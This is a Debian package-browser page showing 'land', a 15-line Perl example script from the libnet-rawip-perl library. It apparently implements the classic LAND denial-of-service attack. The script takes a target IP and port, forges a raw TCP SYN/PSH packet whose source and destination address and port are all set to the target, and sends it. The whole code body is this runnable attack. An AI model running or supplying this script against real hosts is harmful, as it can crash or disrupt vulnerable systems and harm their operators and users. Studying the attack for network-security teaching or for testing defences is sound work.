File: land

package info (click to toggle)
libnet-rawip-perl 0.25-4
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid, trixie
  • size: 636 kB
  • sloc: perl: 1,290; ansic: 745; makefile: 5
file content (15 lines) | stat: -rwxr-xr-x 349 bytes parent folder | download | duplicates (9) 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
#!/usr/bin/perl
require 'getopts.pl';
use Net::RawIP;
Getopts('i:p:');
$a = new Net::RawIP;
die "Usage $0 -i <target> -p <target port>" unless ($opt_i && $opt_p);
$a->set({ ip => {saddr => $opt_i,
                 daddr => $opt_i
		 },
	  tcp=> {dest => $opt_p,
	         source => $opt_p,
	         psh => 1,
	         syn => 1}
	});				
$a->send;